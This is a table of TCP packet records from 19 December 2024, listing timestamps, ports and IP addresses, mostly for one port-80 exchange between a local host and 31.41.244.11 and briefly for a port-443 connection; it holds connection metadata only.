Dec 19, 2024 03:09:32.231162071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.231232882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.231331110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.231384993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.232242107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.232258081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.232301950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.232356071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.233230114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.233284950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.233315945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.233376980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.234270096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.234286070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.234329939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.234360933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.235375881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.235392094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.235430956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.235481024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.236430883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.236455917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.236491919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.236524105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.237113953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.237200975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.237266064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.237317085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.238174915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.238311052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.238365889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.239115000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.239182949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.239356995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.239420891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.240112066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.240170002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.240212917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.240461111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.241142035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.241199970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.241245031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.241297960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.242531061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.242546082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.242585897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.242619991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.243659019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.243674040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.243722916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.243724108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.244725943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.244786024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.244898081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.244950056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.245878935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.245938063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.245987892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.246053934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.247054100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.247107983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.247112036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.247150898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.248004913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.248069048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.248147964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.248198032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.249001026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.249061108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.249130964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.249248028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.249706984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.249788046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.249855995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.250370979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.250473976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.250488043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.250550985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.251084089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.251142025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.251358032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.251411915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.252140999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.252198935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.252240896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.252294064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.253190994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.253206968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.253243923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.253274918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.254190922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.254209042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.254252911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.254292965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.255065918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.255136967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.255229950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.255281925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.256211042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.256227970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.256263018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.256292105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.257110119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.257165909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.257261038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.257356882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.258227110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.258306026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.258354902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.259373903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.259430885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.259464979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.259562969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.260447979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.260500908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.260561943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.260616064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.261327982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.261343956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.261390924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.262073994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.262128115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.262172937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.262259960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.263072014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.263138056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.263151884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.263204098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.264281988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.264297962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.264345884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.264377117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.265085936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.265141010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.265213013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.265264988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.266182899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.266197920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.266236067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.267061949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.267116070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.267194033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.267246008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.268341064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.268415928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.268421888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.268455982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.270024061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.270082951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.270086050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.270129919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.277123928 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.277160883 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.277260065 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.277611017 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.277623892 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.409573078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.409688950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.409828901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.409845114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.409884930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.409914017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.409940004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.410200119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.410896063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.410912991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.410953045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.410984993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.411809921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.411827087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.411871910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.411871910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.412722111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.412748098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.412781954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.412812948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.413604021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.413661957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.413800001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.413853884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.414679050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.414735079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.414793015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.414846897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.415729046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.415785074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.415795088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.415849924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.416822910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.416891098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.417113066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.417170048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.418059111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.418117046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.418118000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.418173075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.419013977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.419059992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.419074059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.419116020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.419694901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.419713020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.419750929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.419776917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.420571089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.420629025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.420665979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.420721054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.421741962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.421823978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.421957970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.422032118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.422590971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.422648907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.422907114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.422962904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.423624039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.423683882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.423717022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.423785925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.424587011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.424645901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.424786091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.424843073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.425743103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.425803900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.425894022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.425947905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.426857948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.426917076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.426975012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.427030087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.427671909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.427731037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.427805901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.427860975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.428759098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.428819895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.428915977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.428972960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.429837942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.429897070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.429913044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.429984093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.430735111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.430793047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.430802107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.430860043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.431618929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.431678057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.431746006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.431822062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.432636023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.432693958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.432898045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.432951927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.433820963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.433875084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.433926105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.433979034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.434794903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.434850931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.434900045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.434954882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.435662985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.435719013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.435722113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.435777903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.436729908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.436749935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.436790943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.436816931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.437624931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.437683105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.437741041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.437794924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.438594103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.438649893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.438694000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.438746929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.439568996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.439626932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.439702034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.439754963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.440642118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.440696955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.440696955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.440774918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.441601992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.441663980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.441726923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.441796064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.442595959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.442653894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.442656040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.442703009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.443548918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.443608046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.443664074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.443727970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.444605112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.444664955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.444746017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.444801092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.445664883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.445729017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.445837975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.445893049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.446688890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.446707010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.446747065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.446772099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.447556019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.447612047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.447655916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.447709084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.448585033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.448642015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.448649883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.448702097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.449635029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.449691057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.449707985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.449758053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.450579882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.450643063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.450659037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.450709105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.451546907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.451606035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.451661110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.451713085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.452579975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.452662945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.452672005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.452718973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.453605890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.453655958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.453727961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.453780890 CET	49885	80	192.168.2.5	31.41.244.11
